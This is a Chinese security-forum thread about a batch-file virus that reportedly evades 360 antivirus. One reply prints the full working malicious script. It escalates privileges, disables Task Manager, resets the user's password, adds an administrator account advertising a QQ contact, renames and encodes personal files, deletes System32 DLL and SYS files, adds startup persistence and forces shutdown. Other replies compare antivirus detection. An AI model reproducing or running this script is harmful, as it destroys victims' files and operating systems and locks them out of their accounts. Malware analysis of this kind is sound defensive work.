bat病毒，过360了，扫描也过了

meaqua

JuMin 发表于 2021-2-4 09:16
瑞星、天擎不报

我这里天擎解压就杀了

wwwab

这是病毒exe生成的bat，解压密码threatbook

看了下，代码为：

1. [url=home.php?mod=space&uid=500624]@Shift[/url] /0
   
2. [url=home.php?mod=space&uid=331734]@echo[/url] off
   
3. cd C:\Users\%username%\Desktop\
   
4. if not exist warn1.vbs (goto vbs1)
   
5. if exist warn1.vbs (goto vbs2)
   
6. : vbs1
   
7. echo msgbox "这是个病毒,如果是不小心点的,别再点了" >>warn1.vbs
   
8. start warn1.vbs
   
9. exit
   
10. : vbs2
    
11. echo msgbox "这是个病毒,说过了吧" >warn2.vbs
    
12. echo msgbox "如果这真的是测试环境,欢迎您再次双击进行测试"  >>warn2.vbs
    
13. goto startahead
    
14. :wwaarrnn
    
15. start warn2.vbs
    
16. exit
    
17. : startahead
    
18. if not exist C:\Windows\tat.txt (goto create)
    
19. if exist C:\Windows\tat.txt (goto hack)
    
20. : create
    
21. echo msgbox "这是最后一次警告!!!" >>警告.vbs
    
22. start 警告.vbs
    
23. echo come on!!! >>C:\Windows\tat.txt
    
24. goto wwaarrnn
    
25. exit
    
26. :hack
    
27. %1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",0)(window.close)&exit
    
28. reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 00000001
    
29. echo 这是个病毒，作者说过了吧
    
30. choice /t 2 /d y /n >nul
    
31. cls
    
32. echo @echo off>>lock.bat
    
33. echo net user %username% 5539661qpec >>lock.bat
    
34. ehco net user guest /active :yes>>lock.bat
    
35. echo net user 要密码加QQ3051200685 administrator /add>>lock.bat
    
36. echo net localgroup administrators 要密码加QQ3051200685 /add >>lock.bat
    
37. echo exit >>lock.bat
    
38. start lock.bat
    
39. cls
    
40. echo 今天
    
41. echo 是
    
42. echo 多么美好的一天
    
43. echo 所以
    
44. echo 接受审判吧，你这狂妄之人
    
45. choice /t 2 /d y /n >nul
    
46. cls
    
47. color a
    
48. %1 start "" mshta vbscript:createobject("shell.application").shellexecute("""%~0""","::",,"runas",0)(window.close)&exit
    
49. 
    
50. md %temp%\tmprun
    
51. 
    
52. cd %SystemDrive%\
    
53. 
    
54. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
55. 
    
56. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
57. 
    
58. cd %UserProFile%\
    
59. 
    
60. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
61. 
    
62. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
63. 
    
64. cd %temp%\tmprun
    
65. cd %UserProFile%\Desktop\
    
66. 
    
67. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
68. 
    
69. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
70. 
    
71. cd %temp%\tmprun
    
72. cd %UserProFile%\Downloads\
    
73. 
    
74. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
75. 
    
76. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
77. 
    
78. cd %temp%\tmprun
    
79. cd %UserProFile%\Favorites\
    
80. 
    
81. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
82. 
    
83. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
84. 
    
85. cd %temp%\tmprun
    
86. cd %UserProFile%\Searches\
    
87. 
    
88. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
89. 
    
90. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
91. 
    
92. cd %temp%\tmprun
    
93. cd %UserProFile%\Saved Games\
    
94. 
    
95. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
    
96. 
    
97. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
    
98. 
    
99. cd %temp%\tmprun
    
100. cd %UserProFile%\Contacts\
     
101. 
     
102. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
103. 
     
104. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
105. 
     
106. cd %temp%\tmprun
     
107. cd %UserProFile%\Links\
     
108. 
     
109. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
110. 
     
111. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
112. 
     
113. cd %temp%\tmprun
     
114. cd %UserProFile%\Videos\
     
115. 
     
116. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
117. 
     
118. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
119. 
     
120. cd %temp%\tmprun
     
121. cd %UserProFile%\Pictures\
     
122. 
     
123. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
124. 
     
125. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
126. 
     
127. cd %temp%\tmprun
     
128. cd %UserProFile%\Documents\
     
129. 
     
130. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
131. 
     
132. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
133. 
     
134. cd %temp%\tmprun
     
135. cd %UserProFile%\Music\
     
136. 
     
137. for %%a in (*) do ren "%%a" "%%~a.光墓data"&for %%a in (%0) do ren "%%~a.光墓data" "%%~na.bat"
     
138. 
     
139. for %%a in (*.光墓data) do certutil -encode "%%~a" "%%~na.光墓是你爸"
     
140. 
     
141. cd %SystemDrive%\
     
142. 
     
143. del /s /q *.光墓data
     
144. taskkill /f /im explorer.exe
     
145. cd C:\Users\%username%\Desktop\
     
146. for /l %%i  in (1, 1, 100)  do md  b%%i
     
147. for /l %%i in (1, 1, 100) do copy %0 b%%i
     
148. for /l %%i in (1, 1, 100) do for /l %%q in (1,1,100) do echo 1 >b%%i\第%%q个无法删除的文件.txt
     
149. for /l %%i in (1, 1, 100) do echo do >>b%%i\提示%%i.vbs
     
150. for /l %%i in (1, 1, 100) do echo msgbox "这是你的第%%i个文件夹",16,"病毒提示" >>b%%i\提示%%i.vbs
     
151. for /l %%i in (1, 1, 100) do echo loop >>b%%i\提示%%i.vbs
     
152. for /l %%i in (1, 1, 100) do move *.光墓是你爸 b%%i\
     
153. for /l %%i in (1, 1, 100) do if exist "b%%i\提示%%i.vbs" (
     
154. start b%%i\提示%%i.vbs  )
     
155. for /l %%i in (1, 1, 100) do attrib +s +h "C:\Users\Administrator\Desktop\b%%i"
     
156. taskkill /f /im wscript.exe
     
157. md 加密
     
158. for /l %%i in (1, 1, 100) do echo msgbox "我们隐藏了第%%i个文件夹"  >>加密\加密%%i.vbs
     
159. for /l %%i in (1, 1, 100) do start 加密\加密%%i.vbs
     
160. attrib +s +h "C:\Users\Administrator\Desktop\加密"
     
161. taskkill /f /im wscript.exe
     
162. 
     
163. copy %0 C:\Windows\System32\lock.bat
     
164. echo del *.* /s /q tree>>de.bat
     
165. start de.bat
     
166. echo taskkill /f /im explorer.exe >>bili.bat
     
167. echo taskkill /f /im wininit.exe >>bili.bat
     
168. echo shutdown
     
169. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v winstat /t reg_sz /d C:\Users\%username%\Desktop\bili.bat
     
170. attrib +s +h C:\Users\%username%\Desktop\bili.bat
     
171. del lock.bat
     
172. echo del C:\Windows\System32\*.dll>>e.bat
     
173. echo del e.bat >>e.bat
     
174. start e.bat
     
175. echo del C:\Windows\System32\*.sys>>f.bat
     
176. echo del f.bat >>f.bat
     
177. start f.bat
     
178. echo nuiehewio>>11.vbs
     
179. echo oueif89y32983>>11.vbs
     
180. echo do>>equ.vbs
     
181. echo msgbox ("DE DEUHOU")>>equ.vbs
     
182. echo loop >>equ.vbs
     
183. echo :a >>sta.bat
     
184. echo start equ.vbs >>sta.bat
     
185. echo goto a >>sta.bat
     
186. start sta.bat
     
187. echo shutdown /s /t 2 /c "You are FUCKED!!!">>down.bat
     
188. start notepad.exe
     
189. reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v winrar /t reg_sz /d C:\Users\%username%\Desktop\down.bat
     
190. start notepad.exe
     
191. TASKKILL /F /IM WSCRIPT.EXE
     
192. shutdown /s /t 5 /c "Bye~Bye"

复制代码

BitterLotus

wwwab 发表于 2021-2-4 12:47
这是病毒exe生成的bat，解压密码threatbook

看了下，代码为：

代码简陋但又生动

测试者

wwwab 发表于 2021-2-4 12:47
这是病毒exe生成的bat，解压密码threatbook

看了下，代码为：

哇，你这行为可以啊。

kbsj123321

诺顿

henry217

现在报了

Domenic

温馨小屋 发表于 2021-2-3 20:13
卡巴

这是病毒发作了？
话说回滚一般都挺卡的吧......

Domenic

henry217 发表于 2021-2-4 15:58
现在报了

你用国外版的卡巴啊，应该中国的病毒识别比较少吧

温馨小屋

Domenic 发表于 2021-2-4 16:31
这是病毒发作了？
话说回滚一般都挺卡的吧......

因为它释放了一大堆一样的vbs，和回滚没有关系

光墓啊

测试者 发表于 2021-2-4 14:00
哇，你这行为可以啊。

我，，，这。。。闲的